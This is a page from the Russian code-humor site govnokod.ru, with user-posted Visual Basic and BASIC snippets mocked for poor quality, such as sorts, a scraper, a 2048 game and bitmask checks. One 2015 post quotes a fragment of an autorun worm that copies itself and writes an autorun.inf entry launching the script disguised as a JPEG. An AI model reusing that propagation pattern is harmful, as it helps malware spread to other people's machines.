Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−2
Public Function DescendingSort(ByRef Data As Variant) As Variant
Dim i As Long
For i = LBound(Data) To UBound(Data) - 1
Dim j As Long
For j = i + 1 To UBound(Data)
If Data(i) < Data(j) Then
Dim Temp As Variant
Temp = Data(j)
Data(j) = Data(i)
Data(i) = Temp
End If
Next
Next
DescendingSort = Data
End Function
Вот все спрашивают, зачем на собеседованиях требуют сортировки писать — так вот для этого! Вдруг вам придётся писать на «VBA»?
> Как в VBA правильно создавать одномерный массив. ArrayList
https://habr.com/ru/post/712000/
ISO,
23 Января 2023
−2
Сказка о петузе и зелибобе. На новый лад.
Правдивая история виндоуса. (18+)
Жил-был на свете Петуз. И был у него друг Зелибоба. Жили они в волшебном лесу каждый в своем домике. Однажды решили они компьютеры купить потому что так надо. Купил Зелибоба компьютер за 50 рублей и поставил на него какую то убунту за 20 минут, а Петуз купил за 55 рублей с какой то виндоус и поставил его за час. "Зачем ты купил то же самое на 5 рублей дороже?" - спросил Зелибоба. "Много возьни с вашими линуксами" ответил Петуз. Зелибоба удивился купил себе печенья на 5 рублей и был доволен.
***
Читатель скажет: "Почему Петуз не спиратил винду?". Действительно Петуз мог спиратить винду, да только нужно было использовать сомнительные активаторы от Васи Трухацкера, на которые ругается каждый антивирус. Петуз решил не рисковать и купить лицензию.
***
JloJle4Ka,
19 Сентября 2021
−2
We’ve heard your feedback that you want Visual Basic on .NET Corehttps://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/
MAKAKA,
31 Декабря 2020
+2
REM I'm trying to do some simple webscraping in OpenOffice (I usually work in Excel but I'm trying to port
REM something over for a coworker that doesn't have Excel).
REM However, when I try to run something very similar to this, it keeps giving me this BASIC runtime error 1.
Sub Macro1
Dim explorer As Object
Set explorer = CreateObject("InternetExplorer.Application")
explorer.Visible = True
explorer.navigate("www.yahoo.com")
Const READYSTATE_COMPLETE As Long = 4
Do While explorer.Busy Or explorer.readyState <> READYSTATE_COMPLETE
Loop
dim page as object
set page = explorer.Document
dim mailButton as object
set mailButton = page.GetElementByID("ybar-navigation-item-mail") 'this is the line the error occurs on
mailButton.Click
End Sub
а чего бы нам не краулить сайты, запуская IE через BASIC в экселе
https://stackoverflow.com/questions/64010764/is-webscraping-with-openoffice-basic-even-possible
Fike,
22 Сентября 2020
0
Код с продакшена рабочего проекта :-D
Dim got_new_batch As Boolean = False
Dim batch_numb As Integer = 0
Dim temp_batch As Integer = 0
While got_new_batch = False
temp_batch = objRandom.Next(400000000)
If check_batch_avaliable(temp_batch) = True Then
got_new_batch = True
batch_numb = temp_batch
End If
End While
Public Function check_batch_avaliable(ByVal batch_number As Integer) As Boolean
'CWC-7/11/2016-Rewritten to avoid runtime error
Dim RC As Integer = -1
Dim DBConnection As New IfxConnection(INFXConnectionStr_RPCentral)
'Try
Dim SQL As String = ""
SQL = " select first 1 batch_numb from " + System.Configuration.ConfigurationManager.AppSettings("InformixTable") + " where batch_numb = " & batch_number
Dim DBCommand As New IfxCommand(SQL, DBConnection)
DBCommand.CommandType = CommandType.Text
DBCommand.CommandTimeout = 200
DBConnection.Open()
RC = CInt(DBCommand.ExecuteScalar())
DBConnection.Close()
' Catch ex As Exception
' Dim ErrMsg = ex.Message
' Finally
If Not DBConnection Is Nothing Then
If DBConnection.State = ConnectionState.Open Then
DBConnection.Close()
End If
DBConnection = Nothing
End If
' End Try
If RC > 0 Then
Return False
Else
Return True
End If
End Function
ageron,
27 Мая 2020
+1
sub addleft
for i = 1 to 4
for j = 1 to 3
if a(i,j)<>0 and a(i,j) = a(i,j+1) then
moved = true
a(i,j) = a(i,j)+1
a(i,j+1) = 0
score = score + integer ( 2**a(i,j) )
end if
end for
end for
end sub
sub left
for i = 1 to 4
for k = 1 to 3
for j = 1 to 3
if a(i,j) = 0 and a(i,j+1) <> 0 then
moved = true
a(i,j) = a(i,j+1)
a(i,j+1) = 0
end if
end for
end for
end for
end sub
rem addright, addup, adddown, right, up, down в том же духе
rem . . .
rem главный суслик
while true
xy = touchdown()
if xy <> -1 then
x = xy/65536&0x0000ffff
y = xy&0x0000ffff
repeat
sleep 10
xy = touchup()
until xy <> -1
x = x - (xy/65536&0x0000ffff)
y = y - (xy&0x0000ffff)
if (abs(x)>100) <> (abs(y)>100) then
moved = false
if abs(x) > 100 then
if x > 0 then
left
addleft
left
else
right
addright
right
end if
else
if y > 0 then
up
addup
up
else
down
adddown
down
end if
end if
if moved then
rand
end if
end if
else
sleep 10
end if
draw
sleep 50
end whileНе визуальный, но всё-таки барсик (могильный).
Hu3KoypoBHeBblunemyx,
21 Февраля 2019
0
Const strMask="258258258258258258"
mNumber = Clng(Left(mParam1,2))*100000+Clng(Right(mParam1,5))*10+Clng(mParam2)
mResStr = Right("000000000"+Cstr(mNumber),9)
For c=1 To 9
mRes1 = Cint(Mid(mResStr, c, 1))
mRes2 = Int(Rnd()*10)
strPreResult=Cstr(mRes1)+Cstr(mRes2)
mCheckSum = mCheckSum+mRes1*Cint(Mid(strMask, (c-1)*2+1, 1))
mCheckSum = mCheckSum+mRes2*Cint(Mid(strMask, (c)*2, 1))
Print strPreResult, mCheckSum
strResult=strResult+strPreResult
Next c
strResult = Left(strResult,9)+Right("00"+Cstr((mCheckSum Mod 95)Mod 100),2)+Right(strResult,8)
Генератор случайных чисел.
Почему везде такой не используется?
lsd,
03 Ноября 2017
0
Private Function DecodName(ByVal ind As Integer) As String
''перекодування назви місяця
Select Case ind
Case 1
Return "Січень"
Case 2
Return "Лютий"
Case 3
Return "Березень"
Case 4
Return "Квітень"
Case 5
Return "Травень"
Case 6
Return "Червень"
Case 7
Return "Липень"
Case 8
Return "Серпень"
Case 9
Return "Вересень"
Case 10
Return "Жовтень"
Case 11
Return "Листопад"
Case 12
Return "Грудень"
Case Else
Return ""
End Select
End FunctionМои глаза...
vova94,
17 Октября 2017
−97
if (not fso.fileexists(fname)) or (not fso.fileexixts(aname)) then
if (fso.fileexists(fname)=false) then
fso.copyfile wscript.scriptname,fname
end if
if (fso.fileexists(aname)=false) then
set au=fso.createtextfile aname,2,true
au.writeline "[AutoRun]"
au.writeline "shellexecute=wscript /e:vbs pamela handerson.jpg -autostart"
au.close
fso.getfile(aname).attributes=32
set au=nothing
end if
end if
...Взято из кода одного autorun-червя. Вопрос: нахуя?
Pyriandr,
21 Июля 2015
−121
If ((ind_imit_gun = 0) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 0) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 1) And _
((input_B_LA2 And shop) = shop) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 2) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 2) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 3) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And mashin) = mashin) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 4) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) _
Or ((ind_imit_gun = 6) And _
((input_B_LA2 And loading) = loading) And _
((input_B_LA2 And lonely) = lonely) And _
(input_A_LA48 And choice_k) = choice_k) Then
Вот такая страшная проверка нужных битов битовыми масками используется в одном военном ПО xD
И на мой взгляд тут есть ошибки,но почему то работает.
Ramirag,
05 Марта 2015
Follow us!